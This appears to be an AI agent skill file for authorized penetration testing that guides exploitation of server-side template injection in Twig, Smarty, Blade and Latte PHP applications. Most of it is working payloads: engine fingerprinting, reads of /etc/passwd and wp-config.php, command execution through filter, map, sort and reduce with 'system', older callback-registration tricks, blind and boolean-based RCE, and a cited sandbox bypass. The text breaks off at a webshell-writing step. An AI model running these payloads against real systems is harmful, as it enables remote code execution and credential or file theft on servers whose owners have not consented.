/ssti-twig

name: ssti-twig
description: >
  Guide Twig/PHP server-side template injection exploitation during authorized
  penetration testing.
keywords:
  - Twig SSTI
  - PHP template injection
  - Smarty SSTI
  - Blade SSTI
  - Latte SSTI
  - "{{7*'7'}} returns 49"
  - Symfony template injection
  - Laravel template injection
  - PHP sandbox escape
tools:
  - burpsuite
  - sstimap
  - tplmap
opsec: medium

Twig / PHP SSTI

You are helping a penetration tester exploit server-side template injection in a PHP application. The target uses Twig (Symfony), Smarty, Blade (Laravel), or Latte and processes attacker-controlled input through the template engine without proper sanitization. The goal is to escalate from template expression evaluation to remote code execution or file access. All testing is under explicit written authorization.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[ssti-twig] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Confirmed template expression evaluation: `{{7*7}}` returns `49`
• If `{{7*'7'}}` returns `49`, the engine is Twig. If it returns `7777777`,

route to **ssti-jinja2**.

• If `{$smarty.version}` returns a version number, the engine is Smarty.
• If `{var $X="POC"}{$X}` works with single-brace syntax, check for Latte.

Step 1: Assess

If not already provided, determine: 1. **Framework** — Symfony, Laravel, CraftCMS, Grav, or custom 2. **Template engine** — Twig, Smarty, Blade, Latte 3. **Engine version** — critical for payload selection (Twig < 1.20, 1.x, 2.x, 3.x) 4. **Injection point** — URL param, form field, email template, PDF generation

Skip if context was already provided.

Step 2: Engine Identification

Twig (Symfony/CraftCMS/Grav)

{{7*7}}          # 49
{{7*'7'}}        # 49 (arithmetic, not string repetition = Twig, not Jinja2)
{{dump(app)}}    # Dumps the application object (Symfony)
{{dump(_context)}}  # Dumps all template variables
{{app.request.server.all|join(',')}}  # Server variables

Smarty

{$smarty.version}    # Version disclosure
{system('id')}       # Direct code execution (v3, deprecated in v5)
{php}echo `id`;{/php}  # Deprecated in v3

Blade (Laravel)

{{ 7*7 }}        # 49 (Blade uses {{ }} for escaped output)
{!! 7*7 !!}      # 49 (unescaped output)

Latte

{var $X="POC"}{$X}   # Variable assignment and output
{php system('id')}    # Direct code execution

Step 3: Information Extraction (Twig)

Application Info

{{_self}}                        # Reference to current template
{{_self.env}}                    # Twig environment object
{{app.request.server.all|join(',')}}  # All server variables
{{dump(_context)}}               # All template variables

File Reading

{{ '/etc/passwd'|file_excerpt(1,30) }}
{{ include("wp-config.php") }}
{{ source('/etc/passwd') }}

Step 4: RCE — Twig

filter() / map() / sort() / reduce() (Twig >= 2.x, 3.x)

These are the most reliable modern payloads:

{{ ['id']|filter('system') }}
{{ ['id']|map('system')|join }}
{{ ['id',1]|sort('system')|join }}
{{ [0]|reduce('system','id') }}
{{ ['id']|filter('passthru') }}
{{ ['id']|map('passthru') }}

**With space or special character bypass:**

{{ ['cat\x20/etc/passwd']|filter('system') }}
{{ ['cat$IFS/etc/passwd']|filter('system') }}

registerUndefinedFilterCallback (Twig <= 1.19)

{{ _self.env.registerUndefinedFilterCallback("exec") }}{{ _self.env.getFilter("id") }}

{{ _self.env.registerUndefinedFilterCallback("system") }}{{ _self.env.getFilter("whoami") }}

call_user_func (Twig >= 1.41 / >= 2.10 / >= 3.0)

{{ {'id':'shell_exec'}|map('call_user_func')|join }}

Error suppression for automation

{{ ["error_reporting", "0"]|sort("ini_set") }}

Via Symfony request object

# Email parameter passing FILTER_VALIDATE_EMAIL:
"{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld
# With GET param: ?0=id

Step 5: Blind / Error-Based SSTI (Twig)

Error-Based RCE (<= 1.19)

{{ _self.env.registerUndefinedFilterCallback("shell_exec") }}
{%include ["Y:/A:/", _self.env.getFilter("id")]|join%}

Error-Based RCE (>= 1.41 / >= 2.10 / >= 3.0)

{{ [0]|map(["xx", {"id": "shell_exec"}|map("call_user_func")|join]|join) }}

Boolean-Based RCE (<= 1.19)

{{ _self.env.registerUndefinedFilterCallback("shell_exec") }}
{{ 1/(_self.env.getFilter("id && echo UniqueString")|trim('\n') ends with "UniqueString") }}

Boolean-Based RCE (>= 1.41 / >= 2.10 / >= 3.0)

{{ 1/({"id && echo UniqueString":"shell_exec"}|map("call_user_func")|join|trim('\n') ends with "UniqueString") }}

Sandbox bypass via CVE-2022-23614

{{ 1 / (["id >>/dev/null && echo -n 1", "0"]|sort("system")|first == "0") }}

Step 6: RCE — Other PHP Engines

Smarty (< v5)

{system('id')}
{system('cat /etc/passwd')}

Smarty v3 with `{php}` tag (deprecated):

{php}echo `id`;{/php}

Write webshell (if write access):

{